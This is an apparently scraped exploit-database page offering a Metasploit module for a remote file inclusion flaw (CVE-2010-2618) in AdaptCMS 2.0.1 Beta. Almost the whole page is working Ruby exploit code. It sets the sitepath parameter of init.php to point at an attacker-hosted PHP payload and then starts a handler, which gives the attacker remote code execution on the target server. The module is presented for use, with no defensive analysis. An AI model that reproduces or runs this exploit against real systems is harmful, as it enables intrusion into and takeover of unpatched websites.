Home / os / win7

[webapps / 0day] - AdaptCMS 2.0.1 Beta Release Remote File I

Posted on 12 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>AdaptCMS 2.0.1 Beta Release Remote File Inclusion Vulnerability (msf) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='AdaptCMS 2.0.1 Beta Release Remote File Inclusion Vulnerability (msf) by v3n0m in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=====================================================================
AdaptCMS 2.0.1 Beta Release Remote File Inclusion Vulnerability (msf)
=====================================================================

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require &#039;msf/core&#039;
 
class Metasploit3 &lt; Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::PHPInclude
 
    def initialize(info = {})
        super(update_info(info,
            &#039;Name&#039;           =&gt; &#039;AdaptCMS 2.0.1 Beta Released Remote File Inclusion Exploit&#039;,
            &#039;Description&#039;    =&gt; %q{
                    This module can be used to exploit Remote File Inclusion in AdaptCMS 2.0.1 or earlier in file /inc/smarty/libs/init.php.
 
            },
            &#039;Author&#039;         =&gt; [ &#039;v3n0m&#039; , &#039;Yogyacarderlink-Indonesia&#039; ],
            &#039;License&#039;        =&gt; MSF_LICENSE,
            &#039;Version&#039;        =&gt; &#039;$Revision:$&#039;,
            &#039;References&#039;     =&gt;             
                [
                    [ &#039;CVE&#039;, &#039;2010-2618&#039; ],
                    [ &#039;BID&#039;, &#039;41116&#039; ],
                ],
            &#039;Privileged&#039;     =&gt; false,
            &#039;Payload&#039;        =&gt;
                {
                    &#039;DisableNops&#039; =&gt; true,
                    &#039;Compat&#039;      =&gt;
                        {
                            &#039;ConnectionType&#039; =&gt; &#039;find&#039;,
                        },
                    &#039;Space&#039;       =&gt; 262144, # 256k
                },
            &#039;Platform&#039;       =&gt; &#039;php&#039;,
            &#039;Arch&#039;           =&gt; ARCH_PHP,
            &#039;Targets&#039;        =&gt; [[ &#039;Automatic&#039;, { }]],
            &#039;DisclosureDate&#039; =&gt; &#039;Oct 12 2010&#039;,
            &#039;DefaultTarget&#039; =&gt; 0))
 
        register_options([
            OptString.new(&#039;PHPURI&#039;, [ true , &quot;The URI to request, with the include parameter changed to !URL!&quot;, &#039;/inc/smarty/libs/init.php?sitepath=!URL!&#039;]),
            ], self.class)
    end
 
    def php_exploit
 
        timeout = 0.01
        uri = datastore[&#039;PHPURI&#039;].gsub(&#039;!URL!&#039;, Rex::Text.to_hex(php_include_url, &quot;%&quot;))
        print_status(&quot;Trying uri #{uri}&quot;)
 
        response = send_request_raw( {
                &#039;global&#039; =&gt; true,
                &#039;uri&#039; =&gt; uri,
            },timeout)
 
        if response and response.code != 200
            print_error(&quot;Server returned non-200 status code (#{response.code})&quot;)
        end
         
        handler
    end
 
end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-12]</pre></body></html>

 

TOP

Malware :

Exploits :